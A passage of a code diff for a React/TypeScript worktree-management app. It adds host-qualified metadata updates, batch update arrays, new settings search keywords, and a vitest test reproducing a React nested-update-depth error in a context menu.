@@ -30,10 +30,18 @@ export function getNativeChatExperimentalSearchEntry(): SettingsSearchEntry {
         'auto.components.settings.experimental.search.nativeChat.codex',
         'codex'
       ),
+      ...translateSearchKeyword(
+        'auto.components.settings.experimental.search.nativeChat.openclaude',
+        'openclaude'
+      ),
       ...translateSearchKeyword(
         'auto.components.settings.experimental.search.nativeChat.grok',
         'grok'
       ),
+      ...translateSearchKeyword(
+        'auto.components.settings.experimental.search.nativeChat.omp',
+        'omp'
+      ),
       ...translateSearchKeyword(
         'auto.components.settings.experimental.search.nativeChat.terminal',
         'terminal'
diff --git a/src/renderer/src/components/sidebar/WorkspaceKanbanDrawer.search.test.tsx b/src/renderer/src/components/sidebar/WorkspaceKanbanDrawer.search.test.tsx
index 7cb3081474e..5cb49c71cce 100644
--- a/src/renderer/src/components/sidebar/WorkspaceKanbanDrawer.search.test.tsx
+++ b/src/renderer/src/components/sidebar/WorkspaceKanbanDrawer.search.test.tsx
@@ -8,6 +8,7 @@ import { useAppStore } from '@/store'
 import type { Repo } from '../../../../shared/repo-types'
 import type { WorktreeMeta } from '../../../../shared/worktree/meta-types'
 import type { Worktree } from '../../../../shared/worktree/types'
+import type { WorktreeMetaBatchUpdate } from '../../store/slices/worktree-helpers'
 import { getWorktreeHostIdentity } from '../../../../shared/worktree/host-qualified-identity'
 import WorkspaceKanbanDrawer from './WorkspaceKanbanDrawer'
 import type { WorkspaceKanbanLaneView } from './workspace-kanban-search'
@@ -164,7 +165,7 @@ vi.mock('./workspace-board-task-status-sync', async (importOriginal) => ({
 }))
 
 type UpdateWorktreesMeta = (
-  updatesByWorktreeId: ReadonlyMap<string, Partial<WorktreeMeta>>
+  updates: readonly WorktreeMetaBatchUpdate[] | ReadonlyMap<string, Partial<WorktreeMeta>>
 ) => Promise<void>
 
 const statuses = [
@@ -410,7 +411,13 @@ describe('WorkspaceKanbanDrawer search', () => {
       })
     })
 
-    const dropped = updateWorktreesMeta.mock.calls.at(-1)?.[0].get(omega.id)
+    const payload = updateWorktreesMeta.mock.calls.at(-1)?.[0]
+    let dropped: Partial<WorktreeMeta> | undefined
+    if (Array.isArray(payload)) {
+      dropped = payload.find((entry) => entry.worktreeId === omega.id)?.updates
+    } else if (payload && 'get' in payload) {
+      dropped = payload.get(omega.id)
+    }
     expect(dropped?.workspaceStatus).toBe('todo')
     expect(dropped?.manualOrder).toBeGreaterThan(gamma.manualOrder ?? 0)
     expect(dropped?.manualOrder).toBeLessThan(delta.manualOrder ?? 0)
diff --git a/src/renderer/src/components/sidebar/WorktreeContextMenu.react185-bystander.test.tsx b/src/renderer/src/components/sidebar/WorktreeContextMenu.react185-bystander.test.tsx
new file mode 100644
index 00000000000..da48eb26ae0
--- /dev/null
+++ b/src/renderer/src/components/sidebar/WorktreeContextMenu.react185-bystander.test.tsx
@@ -0,0 +1,234 @@
+/**
+ * @vitest-environment happy-dom
+ *
+ * Reproduces the shape of the production React #185 cluster filed under
+ * boundary_id `sidebar.worktrees` (component stack: RovingFocusGroupItem inside
+ * DropdownMenuItem inside the worktree row's context menu).
+ *
+ * The point of the test is that the menu is a BYSTANDER: it contains no loop of
+ * its own (first case), and it only takes the blame because Radix's roving-focus
+ * item runs `onFocusableItemAdd()` — a setState — from a mount LAYOUT effect,
+ * which is the next dispatch after an unrelated driver has already pushed
+ * React's root-global nested-update counter past its limit (second case).
+ */
+import React, { act, useLayoutEffect, useState } from 'react'
+import { createRoot, type Root } from 'react-dom/client'
+import { afterEach, describe, expect, it, vi } from 'vitest'
+import type { Worktree } from '../../../../shared/worktree/types'
+import { REACT_NESTED_UPDATE_LIMIT } from '../../../../shared/react-update-depth-attribution'
+import { TooltipProvider } from '@/components/ui/tooltip'
+import WorktreeContextMenu from './WorktreeContextMenu'
+
+globalThis.IS_REACT_ACT_ENVIRONMENT = true
+
+const state = {
+  updateWorktreeMeta: vi.fn(),
+  setWorktreesPinnedAndReveal: vi.fn(),
+  workspaceStatuses: [
+    { id: 'todo', label: 'Todo' },
+    { id: 'doing', label: 'Doing' }
+  ],
+  openModal: vi.fn(),
+  projectGroups: [{ id: 'g1', name: 'Group 1' }],
+  createProjectGroup: vi.fn(),
+  moveProjectToGroup: vi.fn(),
+  deleteStateByWorktreeId: {},
+  worktreeLineageById: {},
+  workspaceLineageByChildKey: {},
+  updateWorktreeLineage: vi.fn(),
+  tabsByWorktree: {},
+  ptyIdsByTabId: {},
+  browserTabsByWorktree: {},
+  keybindings: {},
+  settings: { activeRuntimeEnvironmentId: null, openInApplications: [] },
+  openSettingsPage: vi.fn(),
+  openSettingsTarget: vi.fn()
+}
+
+vi.mock('@/store', () => ({
+  useAppStore: Object.assign((selector: (s: typeof state) => unknown) => selector(state), {
+    getState: () => state
+  })
+}))
+
+vi.mock('@/store/selectors', () => ({
+  useAllWorktrees: () => [],
+  useRepoById: (repoId?: string) =>
+    repoId ? { id: repoId, name: repoId, displayName: repoId, projectGroupId: null } : undefined,
+  useRepoMap: () => new Map(),
+  useWorktreeMap: () => new Map()
+}))
+
+vi.mock('@/i18n/i18n', () => ({
+  translate: (_key: string, fallback: string) => fallback,
+  i18n: { language: 'en', on: () => {}, off: () => {} }
+}))
+
+vi.mock('./ProjectGroupNameDialog', () => ({ ProjectGroupNameDialog: () => null }))
+vi.mock('./WorktreeParentPickerPopover', () => ({ WorktreeParentPickerPopover: () => null }))
+
+const mounted: { container: HTMLDivElement; root: Root }[] = []
+
+afterEach(() => {
+  for (const { root, container } of mounted) {
+    act(() => root.unmount())
+    container.remove()
+  }
+  mounted.length = 0
+})
+
+function worktreeFixture(): Worktree {
+  return {
+    id: 'repo::wt-1',
+    repoId: 'repo',
+    name: 'wt-1',
+    displayName: 'wt-1',
+    path: '/path/to/wt-1',
+    isMainWorktree: false
+  } as unknown as Worktree
+}
+
+type Capture = { errors: Error[]; componentStacks: string[] }
+
+class SidebarBoundary extends React.Component<
+  { children: React.ReactNode; capture: Capture },
+  { failed: boolean }
+> {
+  state = { failed: false }
+  static getDerivedStateFromError(): { failed: boolean } {
+    return { failed: true }
+  }
+  componentDidCatch(error: Error, info: React.ErrorInfo): void {
+    this.props.capture.errors.push(error)
+    this.props.capture.componentStacks.push(info.componentStack ?? '')
+  }
+  render(): React.ReactNode {
+    return this.state.failed ? null : this.props.children
+  }
+}
+
+function mount(node: React.ReactNode, capture: Capture): HTMLDivElement {
+  const container = document.createElement('div')
+  document.body.appendChild(container)
+  const root = createRoot(container, {
+    onUncaughtError: (error) => capture.errors.push(error as Error),
+    onCaughtError: () => undefined
+  })
+  mounted.push({ container, root })
+  act(() => {
+    root.render(
+      <SidebarBoundary capture={capture}>
+        <TooltipProvider>{node}</TooltipProvider>
+      </SidebarBoundary>
+    )
+  })
+  return container
+}
+
+/**
+ * Stands in for whatever unrelated sidebar/app code kept sync lanes pending
+ * commit after commit in the field report. It is the driver, not the menu.
+ */
+function CommitCascadeDriver({
+  ticks,
+  onTick
+}: {
+  ticks: number
+  onTick: () => void
+}): React.JSX.Element {
+  useLayoutEffect(() => {
+    if (ticks < REACT_NESTED_UPDATE_LIMIT + 4) {
+      onTick()
+    }
+  })
+  return <div data-testid="driver">{ticks}</div>
+}
+
+describe('WorktreeContextMenu and React #185', () => {
+  it('opening the row context menu on its own does not trip the nested-update limit', () => {
+    const capture: Capture = { errors: [], componentStacks: [] }
+    const consoleError = vi.spyOn(console, 'error').mockImplementation(() => undefined)
+    const container = mount(
+      <WorktreeContextMenu worktree={worktreeFixture()}>
+        <div data-testid="card-child">Card</div>
+      </WorktreeContextMenu>,
+      capture
+    )
+
+    const scope = container.querySelector('[data-worktree-context-menu-scope]') as HTMLElement
+    act(() => {
+      scope.dispatchEvent(
+        new MouseEvent('contextmenu', { bubbles: true, cancelable: true, clientX: 10, clientY: 10 })
+      )
+    })
+    consoleError.mockRestore()
+
+    expect(document.querySelector('[data-slot="dropdown-menu-content"]')).toBeTruthy()
+    expect(capture.errors.map((error) => error.message)).toEqual([])
+  })
+
+  // Reproduces the field report: the driver is elsewhere, the menu is blamed.
+  it('is blamed for a driver-owned cascade when its items mount past the limit', () => {
+    const consoleError = vi.spyOn(console, 'error').mockImplementation(() => undefined)
+    const blamedFrames: string[] = []
+
+    // Which commit the right-click lands on decides which mounting fiber
+    // dispatches first past the limit; sweep the window around it rather than
+    // pinning one React-version-specific offset.
+    for (
+      let openAt = REACT_NESTED_UPDATE_LIMIT - 6;
+      openAt <= REACT_NESTED_UPDATE_LIMIT;
+      openAt++
+    ) {
+      const capture: Capture = { errors: [], componentStacks: [] }
+
+      function Harness(): React.JSX.Element {
+        const [ticks, setTicks] = useState(0)
+        const hostRef = React.useRef<HTMLDivElement>(null)
+        // Right-click lands mid-cascade, so the menu content — and every
+        // RovingFocusGroupItem inside it — mounts while the counter is already deep.
+        useLayoutEffect(() => {
+          if (ticks !== openAt) {
+            return
+          }
+          hostRef.current
+            ?.querySelector('[data-worktree-context-menu-scope]')
+            ?.dispatchEvent(new MouseEvent('contextmenu', { bubbles: true, cancelable: true }))
+        }, [ticks])
+        return (
+          <>
+            <div ref={hostRef}>
+              <WorktreeContextMenu worktree={worktreeFixture()}>
+                <div data-testid="card-child">Card</div>
+              </WorktreeContextMenu>
+            </div>
+            <CommitCascadeDriver ticks={ticks} onTick={() => setTicks((value) => value + 1)} />
+          </>
+        )
+      }
+
+      mount(<Harness />, capture)
+
+      const depthErrors = capture.errors.filter((error) =>
+        error.message.includes('Maximum update depth exceeded')
+      )
+      expect(depthErrors.length).toBeGreaterThan(0)
+      blamedFrames.push(capture.componentStacks[0]?.split('\n')[1]?.trim() ?? '')
+    }
+    consoleError.mockRestore()
+
+    // Carried as the assertion message so a React/Radix version bump reports the
+    // frames it blamed instead of a bare `false`.
+    const blamed = blamedFrames.map((frame) => frame.split(' (')[0]).join(', ')
+    // The production report's innermost component_stack frame.
+    expect(
+      blamedFrames.some((frame) => frame.startsWith('at RovingFocusGroupItem')),
+      blamed
+    ).toBe(true)
+    // ...and the loop is never in menu code: only the driver owns a setState loop.
+    expect(
+      blamedFrames.some((frame) => frame.startsWith('at CommitCascadeDriver')),
+      blamed
+    ).toBe(true)
+  })
+})
diff --git a/src/renderer/src/components/sidebar/WorktreeList.status-lane-lineage-drop.test.tsx b/src/renderer/src/components/sidebar/WorktreeList.status-lane-lineage-drop.test.tsx
index 47cc038799d..4e726dca60c 100644
--- a/src/renderer/src/components/sidebar/WorktreeList.status-lane-lineage-drop.test.tsx
+++ b/src/renderer/src/components/sidebar/WorktreeList.status-lane-lineage-drop.test.tsx
@@ -8,6 +8,7 @@ import type { WorktreeCardProperty } from '../../../../shared/ui-chrome-types'
 import type { WorktreeLineage } from '../../../../shared/worktree/lineage-types'
 import type { WorktreeMeta } from '../../../../shared/worktree/meta-types'
 import type { WorkspaceStatus, Worktree } from '../../../../shared/worktree/types'
+import type { WorktreeMetaBatchUpdate } from '../../store/slices/worktree-helpers'
 import { DEFAULT_WORKSPACE_STATUSES } from '../../../../shared/workspace-status-defaults'
 import {
   WORKSPACE_STATUS_DRAG_IDS_TYPE,
@@ -369,7 +370,13 @@ async function dropWorktreesOnStatusLane(
 
 function committedStatusUpdates(): Map<string, Partial<WorktreeMeta>> {
   expect(mockStore.updateWorktreesMeta).toHaveBeenCalledTimes(1)
-  return mockStore.updateWorktreesMeta.mock.calls[0]![0] as Map<string, Partial<WorktreeMeta>>
+  const input = mockStore.updateWorktreesMeta.mock.calls[0]![0] as
+    | readonly WorktreeMetaBatchUpdate[]
+    | ReadonlyMap<string, Partial<WorktreeMeta>>
+  if ('get' in input) {
+    return new Map(input)
+  }
+  return new Map(input.map((entry) => [entry.worktreeId, entry.updates]))
 }
 
 describe('WorktreeList status-lane drop carries visible lineage children (#9083)', () => {
diff --git a/src/renderer/src/components/sidebar/WorktreeMetaDialog.test.tsx b/src/renderer/src/components/sidebar/WorktreeMetaDialog.test.tsx
index 13b4bbac1b8..338c61190c5 100644
--- a/src/renderer/src/components/sidebar/WorktreeMetaDialog.test.tsx
+++ b/src/renderer/src/components/sidebar/WorktreeMetaDialog.test.tsx
@@ -133,6 +133,7 @@ function openDialog(
     /** Extra owners of the same workspace ID, which the index reads as ambiguous. */
     otherRepos?: { repoId: string; worktree?: Partial<Worktree> }[]
     modalRepoId?: string
+    modalExecutionHostId?: string
     linearViewerOrganizationUrlKey?: string
   } = {}
 ): void {
@@ -169,6 +170,7 @@ function openDialog(
     modalData: {
       worktreeId: options.worktreeId ?? worktree.id,
       ...(options.modalRepoId ? { repoId: options.modalRepoId } : {}),
+      ...(options.modalExecutionHostId ? { executionHostId: options.modalExecutionHostId } : {}),
       currentDisplayName: worktree.displayName,
       currentComment: worktree.comment,
       focus: 'comment'
@@ -328,6 +330,27 @@ describe('WorktreeMetaDialog issue link row', () => {
     expect(updates.linkedIssue).toBe(99)
     expect(updates).not.toHaveProperty('linkedLinearIssue')
   })
+  it('qualifies a save with the host selected by the opening row', async () => {
+    openDialog({
+      worktree: { hostId: 'ssh:build-box' },
+      modalExecutionHostId: 'ssh:build-box'
+    })
+
+    fireEvent.change(screen.getByPlaceholderText('Notes about this worktree...'), {
+      target: { value: 'remote note' }
+    })
+    await act(async () => {
+      fireEvent.click(saveButton())
+    })
+
+    await waitFor(() =>
+      expect(updateWorktreeMeta).toHaveBeenCalledWith(
+        WORKTREE_ID,
+        expect.objectContaining({ comment: 'remote note' }),
+        { executionHostId: 'ssh:build-box' }
+      )
+    )
+  })
 
   // updateWorktreeMeta stamps lastActivityAt on any comment write, which would
   // reorder the workspace under the time-decay sidebar sort.
diff --git a/src/renderer/src/components/sidebar/WorktreeMetaDialog.tsx b/src/renderer/src/components/sidebar/WorktreeMetaDialog.tsx
index 0482a644221..e714deb0453 100644
--- a/src/renderer/src/components/sidebar/WorktreeMetaDialog.tsx
+++ b/src/renderer/src/components/sidebar/WorktreeMetaDialog.tsx
@@ -30,6 +30,7 @@ import {
   parseIssueLinkInput,
   type IssueLinkProvider
 } from '../../../../shared/issue-link-input'
+import { parseExecutionHostId } from '../../../../shared/execution-host'
 import { WorktreeDisplayNameField } from './WorktreeDisplayNameField'
 
 function resizeCommentTextarea(textarea: HTMLTextAreaElement): void {
@@ -56,6 +57,10 @@ const WorktreeMetaDialog = React.memo(function WorktreeMetaDialog() {
   const isOpen = isEditMeta
 
   const worktreeId = typeof modalData.worktreeId === 'string' ? modalData.worktreeId : ''
+  const executionHostId =
+    typeof modalData.executionHostId === 'string'
+      ? (parseExecutionHostId(modalData.executionHostId)?.id ?? undefined)
+      : undefined
   const currentDisplayName =
     typeof modalData.currentDisplayName === 'string' ? modalData.currentDisplayName : ''
   const currentComment =
@@ -224,7 +229,9 @@ const WorktreeMetaDialog = React.memo(function WorktreeMetaDialog() {
     try {
       const updates = buildWorktreeMetaUpdates(draft, snapshot, liveLinks)
 
-      const result = await updateWorktreeMeta(worktreeId, updates)
+      const result = executionHostId
+        ? await updateWorktreeMeta(worktreeId, updates, { executionHostId })
+        : await updateWorktreeMeta(worktreeId, updates)
       // Why: a failed save refetches and reverts the optimistic write. Closing
       // here would report success for an edit that silently undid itself, and
       // would discard the name, comment and PR changes in the same payload.
@@ -249,6 +256,7 @@ const WorktreeMetaDialog = React.memo(function WorktreeMetaDialog() {
     }
   }, [
     worktreeId,
+    executionHostId,
     canSave,
     draft,
     snapshot,
diff --git a/src/renderer/src/components/sidebar/folder-workspace-card-pr-display.ts b/src/renderer/src/components/sidebar/folder-workspace-card-pr-display.ts
index 5914520603e..06e67d75381 100644
--- a/src/renderer/src/components/sidebar/folder-workspace-card-pr-display.ts
+++ b/src/renderer/src/components/sidebar/folder-workspace-card-pr-display.ts
@@ -3,10 +3,8 @@ import type { Repo } from '../../../../shared/repo-types'
 import type { WorkspaceLineage, WorktreeLineage } from '../../../../shared/worktree/lineage-types'
 import type { Worktree } from '../../../../shared/worktree/types'
 import { folderWorkspaceKey, parseWorkspaceKey } from '../../../../shared/workspace-scope'
-import {
-  buildParentPrChecksRows,
-  type ParentPrChecksRow
-} from '@/components/right-sidebar/parent-pr-checks-rows'
+import { buildParentPrChecksRows } from '@/components/right-sidebar/parent-pr-checks-rows'
+import type { ParentPrChecksRow } from '@/components/right-sidebar/parent-pr-checks-row-types'
 import type { WorktreeCardPrDisplay } from './worktree-card-pr-display'
 import { getProjectedWorktreeLineageChildrenByParentId } from './worktree-lineage-projection'
 
diff --git a/src/renderer/src/components/sidebar/use-workspace-kanban-area-selection.ts b/src/renderer/src/components/sidebar/use-workspace-kanban-area-selection.ts
index 36f4d5af69c..fd45c5167a3 100644
--- a/src/renderer/src/components/sidebar/use-workspace-kanban-area-selection.ts
+++ b/src/renderer/src/components/sidebar/use-workspace-kanban-area-selection.ts
@@ -1,9 +1,5 @@
-/* eslint-disable max-lines -- Why: marquee selection coordinates pointer capture, lane-scroll refresh, auto-scroll, preview cleanup, and final commit against one drag state. Splitting those phases would make the interaction easier to desynchronize. */
 import React, { useCallback, useEffect, useRef } from 'react'
-import {
-  getAreaSelectionCardRects,
-  type AreaSelectionCardRect
-} from './workspace-kanban-area-selection-card-rects'
+import { getAreaSelectionCardRects } from './workspace-kanban-area-selection-card-rects'
 import {
   clearPreviewSelection,
   getAreaSelectionAutoScrollDelta,
@@ -16,54 +12,12 @@ import {
   shouldIgnoreAreaSelectionStart,
   updatePreviewSelection
 } from './workspace-kanban-area-selection-dom'
-
-type AreaSelectionDragState = {
-  startX: number
-  startY: number
-  currentX: number
-  currentY: number
-  additive: boolean
-  baseSelectedIds: Set<string>
-  baseAnchorId: string | null
-  boardRect: DOMRect
-  cardRects: readonly AreaSelectionCardRect[]
-  scrollStartContentYByElement: ReadonlyMap<HTMLElement, number>
-  previewIds: Set<string>
-  finalAreaIds: string[]
-  started: boolean
-  frameId: number | null
-  scrollFrameId: number | null
-}
-
-type UpdateSelectionForArea = (
-  areaIds: readonly string[],
-  additive: boolean,
-  baseSelectedIds?: ReadonlySet<string>,
-  baseAnchorId?: string | null
-) => void
-
-type UseWorkspaceKanbanAreaSelectionParams = {
-  open: boolean
-  boardRef: React.RefObject<HTMLDivElement | null>
-  overlayRef: React.RefObject<HTMLDivElement | null>
-  selectedWorktreeIds: ReadonlySet<string>
-  selectionAnchorId: string | null
-  updateSelectionForArea: UpdateSelectionForArea
-}
-
-const AREA_SELECTION_DRAG_THRESHOLD = 4
-
-export function shouldCommitWorkspaceKanbanAreaSelection({
-  additive,
-  started
-}: {
-  additive: boolean
-  started: boolean
-}): boolean {
-  // Why: a plain click on empty board space is the user's "click off" gesture;
-  // modifier-clicking empty space should not accidentally drop a selected batch.
-  return started || !additive
-}
+import {
+  AREA_SELECTION_DRAG_THRESHOLD,
+  shouldCommitWorkspaceKanbanAreaSelection,
+  type AreaSelectionDragState,
+  type UseWorkspaceKanbanAreaSelectionParams
+} from './workspace-kanban-area-selection-state'
 
 export function useWorkspaceKanbanAreaSelection({
   open,
diff --git a/src/renderer/src/components/sidebar/use-workspace-kanban-board-projection.ts b/src/renderer/src/components/sidebar/use-workspace-kanban-board-projection.ts
index 455fd81849c..74d3a9ec47a 100644
--- a/src/renderer/src/components/sidebar/use-workspace-kanban-board-projection.ts
+++ b/src/renderer/src/components/sidebar/use-workspace-kanban-board-projection.ts
@@ -5,6 +5,7 @@ import { groupWorkspaceKanbanWorktrees } from './workspace-kanban-worktree-group
 import { buildWorkspaceKanbanLaneViews } from './workspace-kanban-search'
 import { useWorkspaceKanbanSearch } from './use-workspace-kanban-search'
 import { registerWorkspaceKanbanSidebarDropGroups } from './workspace-kanban-sidebar-drop'
+import { buildUnambiguousWorktreeIdIndex } from './worktree-unambiguous-id-index'
 import {
   composeWorktreeHostIdentity,
   getWorktreeHostIdentity
@@ -38,7 +39,7 @@ export function useWorkspaceKanbanBoardProjection(args: {
     [args.allWorktrees, args.sortBy, args.workspaceStatuses, visibleWorktreeIds]
   )
   const worktreeById = useMemo(
-    () => new Map(args.allWorktrees.map((worktree) => [worktree.id, worktree])),
+    () => buildUnambiguousWorktreeIdIndex(args.allWorktrees),
     [args.allWorktrees]
   )
   const boardWorktrees = useMemo(
diff --git a/src/renderer/src/components/sidebar/use-workspace-kanban-status-actions.ts b/src/renderer/src/components/sidebar/use-workspace-kanban-status-actions.ts
index 3945c648a6d..5e5f9729ddc 100644
--- a/src/renderer/src/components/sidebar/use-workspace-kanban-status-actions.ts
+++ b/src/renderer/src/components/sidebar/use-workspace-kanban-status-actions.ts
@@ -90,7 +90,11 @@ export function useWorkspaceKanbanStatusActions(args: {
       recordInteraction()
       for (const worktree of args.allWorktrees) {
         if (getWorkspaceStatus(worktree, args.workspaceStatuses) === statusId) {
-          void args.updateWorktreeMeta(worktree.id, { workspaceStatus: fallbackStatus })
+          void args.updateWorktreeMeta(
+            worktree.id,
+            { workspaceStatus: fallbackStatus },
+            { executionHostId: worktree.hostId ?? 'local' }
+          )
         }
       }
     },
diff --git a/src/renderer/src/components/sidebar/use-workspace-kanban-worktree-actions.ts b/src/renderer/src/components/sidebar/use-workspace-kanban-worktree-actions.ts
index 687328e30c6..96647d65763 100644
--- a/src/renderer/src/components/sidebar/use-workspace-kanban-worktree-actions.ts
+++ b/src/renderer/src/components/sidebar/use-workspace-kanban-worktree-actions.ts
@@ -9,6 +9,7 @@ import {
 } from './worktree-manual-order'
 import type { WorktreeMeta } from '../../../../shared/worktree/meta-types'
 import type { WorkspaceStatus, Worktree } from '../../../../shared/worktree/types'
+import type { WorktreeMetaBatchUpdate } from '../../store/slices/worktree-helpers'
 import type { WorktreeManualOrderCatalog } from './worktree-manual-order-catalog'
 
 type LaneView = { items: readonly Worktree[] }
@@ -54,14 +55,18 @@ export function useWorkspaceKanbanWorktreeActions(args: {
         return
       }
       recordInteraction()
-      void args.updateWorktreeMeta(worktreeId, { workspaceStatus: status })
+      void args.updateWorktreeMeta(
+        worktreeId,
+        { workspaceStatus: status },
+        { executionHostId: current.hostId ?? 'local' }
+      )
       args.maybeSyncTaskStatuses([worktreeId], status)
     },
     [args]
   )
   const moveWorktreesToStatus = useCallback(
     (worktreeIds: readonly string[], status: WorkspaceStatus) => {
-      const updates = new Map<string, Partial<WorktreeMeta>>()
+      const updates: WorktreeMetaBatchUpdate[] = []
       const changedIds: string[] = []
       for (const worktreeId of worktreeIds) {
         const current = args.worktreeById.get(worktreeId)
@@ -69,7 +74,11 @@ export function useWorkspaceKanbanWorktreeActions(args: {
           continue
         }
         changedIds.push(worktreeId)
-        updates.set(worktreeId, { workspaceStatus: status })
+        updates.push({
+          worktreeId,
+          updates: { workspaceStatus: status },
+          executionHostId: current.hostId ?? 'local'
+        })
       }
       if (changedIds.length === 0) {
         return
@@ -87,7 +96,7 @@ export function useWorkspaceKanbanWorktreeActions(args: {
       dropIndex: number
       writeManualOrder?: boolean
     }) => {
-      const updates = new Map<string, Partial<WorktreeMeta>>()
+      const updates: WorktreeMetaBatchUpdate[] = []
       const writeManualOrder =
         drop.writeManualOrder ?? shouldWriteDropManualOrder(drop.worktreeIds, drop.status)
       const order = writeManualOrder
@@ -106,23 +115,40 @@ export function useWorkspaceKanbanWorktreeActions(args: {
         if (!current) {
           continue
         }
+        const next: Partial<WorktreeMeta> = {}
         if (getWorkspaceStatus(current, args.workspaceStatuses) !== drop.status) {
-          updates.set(worktreeId, { workspaceStatus: drop.status })
+          next.workspaceStatus = drop.status
+        }
+        updates.push({
+          worktreeId,
+          updates: next,
+          executionHostId: current.hostId ?? 'local'
+        })
+      }
+      for (const [worktreeId, manualOrder] of order.updates) {
+        const entry = updates.find((candidate) => candidate.worktreeId === worktreeId)
+        if (entry) {
+          entry.updates = { ...entry.updates, ...manualOrder }
+          continue
+        }
+        const current = args.worktreeById.get(worktreeId)
+        if (current) {
+          updates.push({
+            worktreeId,
+            updates: manualOrder,
+            executionHostId: current.hostId ?? 'local'
+          })
         }
       }
-      if (writeManualOrder) {
-        for (const [worktreeId, manualOrder] of order.updates) {
-          updates.set(worktreeId, { ...updates.get(worktreeId), ...manualOrder })
-        }
-      }
-      if (updates.size === 0) {
+      const changed = updates.filter((entry) => Object.keys(entry.updates).length > 0)
+      if (changed.length === 0) {
         return
       }
       if (writeManualOrder && order.changed) {
         args.setSortBy('manual')
       }
       recordInteraction()
-      void args.updateWorktreesMeta(updates)
+      void args.updateWorktreesMeta(changed)
       args.maybeSyncTaskStatuses(drop.worktreeIds, drop.status)
     },
     [args, shouldWriteDropManualOrder]
@@ -157,20 +183,28 @@ export function useWorkspaceKanbanWorktreeActions(args: {
       if (!current || current.isPinned) {
         return
       }
-      void args.updateWorktreeMeta(worktreeId, { isPinned: true })
+      void args.updateWorktreeMeta(
+        worktreeId,
+        { isPinned: true },
+        { executionHostId: current.hostId ?? 'local' }
+      )
     },
     [args]
   )
   const pinWorktrees = useCallback(
     (worktreeIds: readonly string[]) => {
-      const updates = new Map<string, { isPinned: true }>()
+      const updates: WorktreeMetaBatchUpdate[] = []
       for (const worktreeId of worktreeIds) {
         const current = args.worktreeById.get(worktreeId)
         if (current && !current.isPinned) {
-          updates.set(worktreeId, { isPinned: true })
+          updates.push({
+            worktreeId,
+            updates: { isPinned: true },
+            executionHostId: current.hostId ?? 'local'
+          })
         }
       }
-      if (updates.size > 0) {
+      if (updates.length > 0) {
         recordInteraction()
         void args.updateWorktreesMeta(updates)
       }
diff --git a/src/renderer/src/components/sidebar/use-worktree-card-activation-actions.ts b/src/renderer/src/components/sidebar/use-worktree-card-activation-actions.ts
index 84874e4fa54..cc8f6002e59 100644
--- a/src/renderer/src/components/sidebar/use-worktree-card-activation-actions.ts
+++ b/src/renderer/src/components/sidebar/use-worktree-card-activation-actions.ts
@@ -107,9 +107,13 @@ export function useWorktreeCardActivationActions({
     // Inline rename has no surface for the failure; the store already logs and
     // refetches, which reverts the optimistic title in place.
     async (displayName: string): Promise<void> => {
-      await updateWorktreeMeta(worktree.id, { displayName })
+      await updateWorktreeMeta(
+        worktree.id,
+        { displayName },
+        { executionHostId: worktree.hostId ?? 'local' }
+      )
     },
-    [updateWorktreeMeta, worktree.id]
+    [updateWorktreeMeta, worktree.hostId, worktree.id]
   )
 
   const handleDoubleClick = useCallback(
@@ -123,6 +127,7 @@ export function useWorktreeCardActivationActions({
       openModal('edit-meta', {
         worktreeId: worktree.id,
         repoId: worktree.repoId,
+        executionHostId: worktree.hostId,
         currentDisplayName: worktree.displayName,
         currentIssue: worktree.linkedIssue,
         currentPR: worktree.linkedPR,
@@ -134,6 +139,7 @@ export function useWorktreeCardActivationActions({
       affiliateListMode,
       worktree.comment,
       worktree.displayName,
+      worktree.hostId,
       worktree.id,
       worktree.linkedIssue,
       worktree.linkedPR,
@@ -145,9 +151,13 @@ export function useWorktreeCardActivationActions({
     (event: React.MouseEvent<HTMLButtonElement>) => {
       event.preventDefault()
       event.stopPropagation()
-      updateWorktreeMeta(worktree.id, { isUnread: !worktree.isUnread })
+      updateWorktreeMeta(
+        worktree.id,
+        { isUnread: !worktree.isUnread },
+        { executionHostId: worktree.hostId ?? 'local' }
+      )
     },
-    [worktree.id, worktree.isUnread, updateWorktreeMeta]
+    [worktree.hostId, worktree.id, worktree.isUnread, updateWorktreeMeta]
   )
 
   return { handleClick, handleRenameTitle, handleDoubleClick, handleToggleUnreadQuick }
diff --git a/src/renderer/src/components/sidebar/use-worktree-card-foundation.ts b/src/renderer/src/components/sidebar/use-worktree-card-foundation.ts
index ec59f8172e9..fc339bbe33f 100644
--- a/src/renderer/src/components/sidebar/use-worktree-card-foundation.ts
+++ b/src/renderer/src/components/sidebar/use-worktree-card-foundation.ts
@@ -50,6 +50,7 @@ export function useWorktreeCardFoundation({
         // Why: the same workspace ID can exist under two hosts. Naming the owner
         // keeps the dialog on the clicked row instead of the ambiguous lookup.
         repoId: worktree.repoId,
+        executionHostId: worktree.hostId,
         currentDisplayName: worktree.displayName,
         currentIssue: worktree.linkedIssue,
         currentPR: worktree.linkedPR,
@@ -66,6 +67,7 @@ export function useWorktreeCardFoundation({
       openModal('edit-meta', {
         worktreeId: worktree.id,
         repoId: worktree.repoId,
+        executionHostId: worktree.hostId,
         currentDisplayName: worktree.displayName,
         currentIssue: worktree.linkedIssue,
         currentPR: worktree.linkedPR,
diff --git a/src/renderer/src/components/sidebar/use-worktree-card-review-details.ts b/src/renderer/src/components/sidebar/use-worktree-card-review-details.ts
index 05bee14ee80..277bff4b89e 100644
--- a/src/renderer/src/components/sidebar/use-worktree-card-review-details.ts
+++ b/src/renderer/src/components/sidebar/use-worktree-card-review-details.ts
@@ -2,7 +2,7 @@ import { getWorktreeGitIdentityDisplay } from '@/lib/worktree-git-identity-displ
 import { useAppStore } from '@/store'
 import { getGitHubPRCacheKey } from '@/store/slices/github-cache-key'
 import { issueCacheKey as getIssueCacheKey } from '@/store/github/cache-identity'
-import { getHostedReviewCacheKey } from '@/store/slices/hosted-review'
+import { getHostedReviewCacheKey } from '@/store/slices/hosted-review-cache-identity'
 import { hostedReviewInfoFromGitHubPRInfo } from '../../../../shared/hosted-review-github'
 import type { HostedReviewInfo } from '../../../../shared/hosted-review'
 import { isFolderRepo } from '../../../../shared/repo-kind'
diff --git a/src/renderer/src/components/sidebar/use-worktree-card-secondary-details.ts b/src/renderer/src/components/sidebar/use-worktree-card-secondary-details.ts
index 64e9da831a6..e5ffe899c8d 100644
--- a/src/renderer/src/components/sidebar/use-worktree-card-secondary-details.ts
+++ b/src/renderer/src/components/sidebar/use-worktree-card-secondary-details.ts
@@ -149,27 +149,28 @@ export function useWorktreeCardSecondaryDetails({
     (hoverReviewProvider === 'azure-devops' && linkedAzureDevOpsPR !== null) ||
     (hoverReviewProvider === 'gitea' && linkedGiteaPR !== null)
